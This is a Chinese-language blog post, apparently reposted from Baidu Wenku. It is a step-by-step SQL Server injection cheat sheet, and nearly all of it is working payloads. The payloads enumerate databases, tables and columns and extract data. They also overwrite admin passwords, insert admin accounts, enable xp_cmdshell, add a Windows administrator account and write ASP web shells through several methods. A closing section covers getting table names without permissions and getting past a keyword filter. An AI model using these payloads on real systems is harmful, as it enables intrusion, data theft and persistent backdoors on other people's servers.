zoukankan      html  css  js  c++  java
  • mssql注入代码

    ========================================走进入后台的步骤==========================
    1.and user>0 得到用户名
    ---------------------------爆任意数据库信息(作用性较小,直接跳到第五步)------------
    and (select top 1 name from master.dbo.sysdatabases order by dbid)>0;获得第一个数据库名
    and (select top 1 name from master.dbo.sysdatabases where name NOT IN(select top 1 name from master.dbo.sysdatabases order by dbid) order by dbid)>0;获得第二个数据库名
    ---------------------------爆当前表列的信息(作用性较小,直接跳到第五步)------------
    2.having 1=1--得到用户信息 提示 列问题 则包含表名和表列名
    3.group by 用户信息 having 1=1-- 用户信息即为上面得到的表名.表列名
    4.group by 用户信息1,用户信息2 having 1=1-- 用户信息即为上面得到的表名.表列名
    ---------------------------爆任意表列的信息-------------------------------
    5.and (select top 1 name from (select top N id,name from sysobjects where xtype=char(85)) T order by id desc)>1爆的是表名
    exp:and (select top 1 name from (select top 2 id,name from sysobjects where xtype=char(85)) T order by id desc)>1
    6.and (select top 1 col_name(object_id('表名'),N) from sysobjects)>1爆的是列名
    exp:and (select top 1 col_name(object_id('D99_REG'),2) from sysobjects)>1爆D99_REG中的第二列名
    ---------------------------爆数据库中的信息-------------------------------
    8.and (select top 1 列名 from 表名 where id=N)>1 结合上面爆出的表和列的名字得到数据
    ---------------------------MD5破解不出来的情况下--------------------------
    9.;update 表名 set 列名='内容' where 条件 修改管理员密码 或者 1=(SELECT IS_SRVROLEMEMBER('sysadmin'))
    ;insert into admin values (zyh,123)-- 或者添加管理员


    xp_cmdshell 就是一个shell
    ==========================================走存储过程的步骤===========================
    第一种:最容易的sa权限
    1.and user>0
    2.and db_name()>0用户名 and 1=(select IS_SRVROLEMEMBER('db_owner'))
    3.and SELECT count(*) FROM master.dbo.sysobjects WHERE xtype='X' AND name='xp_cmdshell'
    --------------------如果存储过程不存在则走第四步,否则走第五步---------------------------
    4.; exec sp_addextendedproc xp_cmdshell,'xplog70.dll'
    -----------------------------------------------------------------------------------------
    5.;exec master..xp_cmdshell 'dir c:\' 单引号里面为命令 'net user 123 123/add' 'net localgroup administrators 123/add'


    =========================================走OLE的对象的步骤===========================
    前面几个步骤是一样的 一样得在sa权限下 才能走这条路
    ;DECLARE @S INT
    EXEC SP_OACREAT 'wscript.shell',@s
    exec master..SP_OAMETHOD @s,'run',null,'cmd.exe/c dir c:\'






    用户必须授权于Master这个库.才可调用储存过程.

    ==========================================获取WEB路径================================
    第一种:需求 sa权限 存储过程sp_oamethod或者xp_cmdshell 搜索文件
    ①DECLARE @shell INT
    EXEC master..SP_OAMETHOD 'wscript.shell',@shell out
    EXEC master..SP_OAMETHOD @shell,'run',null,
    'cmd /c dir /s d:/index.asp > c:/123.txt'
    ②exec master..xp_cmdshell 'dir /s d:/index.asp'

    第二种:需求 sa权限 存储过程XP_CMDSHELL 和 SP_OAMETHOD 通过IIS提供的借口获得
    cmd /c cscript.exe C:\Inetpub\AdminScripts\adsutil.vbs ENUM W3SVC/1/root 显示第一个网站的一些配置信息,里面包含网站的根目录
    exp: 第二个网站信息cmd /c cscript.exe C:\Inetpub\AdminScripts\adsutil.vbs ENUM W3SVC/2/root

    第三种:需求 public权限 存储过程 xp_regread IIS默认的路径存放在注册表 读出
    exec master.dbo.xp_regread
    HKEY_LOCAL_MACHINE,
    'SYSTEM\CurrentControlSet\sERVICES\W3SVC\Parameters\Virtual Roots\'
    '/'


    第四种:需求 public权限 存储过程xp_dirtree
    这个扩展存储过程有三个参数,第一个参数是路径,第二个参数是目录深度,第三个参数表示是否列出文件。
    如果第三个参数为0,那么只列出目录
    目前比较常见的方法是通过xp_dirtree把某个盘或某个目录下的子目录和文件列出来,插入到一个表中,
    并逐条读取表中的数据。通过切换不同的目录,达到浏览硬盘、搜索站点根目录的目的。
    首先建立一个临时表,把E盘下面的1级子目录和文件插入到表中:
    ;CREATE TABLE tmp([ID] int IDENTITY (1,1) NOT NULL,
    [name] [nvarchar] (300) NOT NULL,[depth] [int] NOT NULL,[isfile] [nvarchar] (50) NULL)
    ;insert into tmp exec master..xp_dirtree 'e:/',1,1
    获得tmp这个临时表中的第一条数据:
    and (select name from tmp where id=1)>1

    ===========================================写入web shell文件==========================


    第一种:要求:sa权限 利用XP_CMDSHELL 知道web路径 通过上面可以得到
    ;exec master..xp_cmdshell 'echo ^<script runat=server language=javascript^>eval(request.form("cmd"))^</script^> >e:\web\index.asp'
    像“<>”这些特殊符号前面必须加上转义字符“^”。

    第二种:要求:sa权限 利用SQL Server的OLE对象接口,直接调用FSO写入文件。
    ;declare @o int, @f int
    exec sp_oacreate 'scripting.filesystemobject',@o out
    exec sp_oamethod @o, 'createtextfile', @f out, 'e:\web\index.asp',1
    exec sp_oamethod @f 'writeline',NULL,
    '<script runat=server language=javascript>eval(request.form("cmd"))</script>';

    第三种:要求sa 利用存储过程sp_makewebtask 默认是没有权限访问存储过程的 可以提交下面语句
    ;exec master..sp_makewebtask @outputfile='e:\web\shell.asp',@charset=gb2312,@query='select "<script runat=server language=javascript>eval(request.form("cmd"))</script>"'

    第四种:要求public 利用增量备份
    create table tmp(str image)
    backup database hack to disk='e:\web\tmp.bak' with init
    insert into tmp(str) values('<script language=javascript>eval(request.form('cmd')<scritp>)')
    backup database hack to disk='e:\web\shell.asp' with DIFFERENTIAL


    第五种:要求DB_OWNER 利用log备份
    ;alter database databasename set RECOVER FULL
    ;create table cmd(a image)--
    ;backup log databasename do disk='c:\cmd' with init
    ;insert into cmd(a) values('<%%25excute(request.form("cmd"))%%25>')--
    ;backup log databasename to disk='x:\xxx\xxxx\shell.asp'--
    ;drop table cmd--
    闭合问题可以尝试 下面的语句
    <%%25execute(request.form("cmd"))%%25>
    <%execute(request.form("cmd"))%>
    %><%execute request.form("cmd")%><%
    <script language=VBScript runat=server>executer request.form("cmd")</script>
    <%25execute(request.form("l"))%25>





    如果是sa权限 先考虑用看能不能用xp_cmdshell存储过程



    and 1=(select IS_SRVROLEMEMBER('db_owner'))用户类型
    and 1=convert(int, @@version)得到版本号
    and 1=convert(int, db_name())得到数据库名
    and 1=convert(int, user_name())得到当前数据库用户
    ; declare @d int;--验证是否满足多句查询


    主要就两点,sysobjects表与syscolumns表都无select权限时,得到表名与列名。以前BLOG里写过, 要不是某黑客发来一我等小菜从没接触过的CFM程序的一个注入点让解决获取表名的难题,我都要忘了,顺便再重记一次。

    sysobjects表没有权限。如何暴表?所有的表名都只存在了sysobjects表里,所以我们无法从别的地方得到表名。但是,大家有没注意过sql server提供的object_name函数呢?它与object_id函数是相对应的,object_id会返回指定对象在数据库中的id值。而 object_name会返回指定ID所对应的数据库对象名,对于表来说自然就是表名了。

    好了,现在只要得到所有的用户表的ID就可以得到表名了, 表的ID在很多地方都会存储,比如syscolumns表,
    我们只要从syscolumns表里面取得表的ID,再利用object_name就可以得到表名了。

    可以利用下面的语句得到表名,前提条件是syscolumns表有select 权限:
    显错:

    select 1 where 1=(select top 1 * from (select distinct(object_name(id)) as 'name' from syscolumns) as a where a.[name] not in(select distinct top 0 object_name(id) from syscolumns))


    union:

    select '1','2','3','4' union select top 1 1,3,[name],4 from (select distinct(object_name(id)) as 'name' from syscolumns) as a where a.[name] not in(select distinct top 0 object_name(id) from syscolumns)


    上面的语句会将系统表也查出来。通过不停地变top 0就可以得到所有的表名了。当syscolumns表无权限的时候,可以借助其它的系统表,但是这样很有可能不能得到所有表的名字,看运气了。。只要其它系统表里面出现了表的ID,就可以通过object_name函数来得到表名,下面从sysprotects这个系统表中获取ID来得到表名:


    select object_name(id) from sysprotects

    再谈syscolumns表无select权限时获取列名的方法,利用col_name函数,先利用上面的方法得到表的id,再利用:

    select col_name(tableid,colindex)

    就可以了。

    具体情况具体分析了,朋友发来的这个CFM注点有个毛病,只要参数里面出现sys,就会自动跳回主页,不知道是什么防火墙还是程序内置的安全防护功能,试了会最终绕过去了,将sys分拆成sy%00s就可以。至于%00为什么没有被截断,同时为什么没有被sql server当成是分隔符,,这我就不知道了,不是本菜鸟能研究出来的。

    感谢:jude_lau

    源自百度文库:http://wenku.baidu.com/view/c73aeef7ba0d4a7302763ad0.html?from=related&hasrec=1 

  • 相关阅读:
    Selenium2+python自动化55-unittest之装饰器(@classmethod)【转载】
    Selenium2+python自动化54-unittest生成测试报告(HTMLTestRunner)【转载】
    验证码在登录页面的使用
    习课省市区的三级联动(cxselect的使用)
    jira的使用
    springmvc 用拦截器+token防止重复提交
    springMVC发送邮件
    Commons-Collections 集合工具类的使用
    习课的视频播放器 video.js
    习课的redis配置记录
  • 原文地址:https://www.cnblogs.com/xred/p/2415377.html
Copyright © 2011-2022 走看看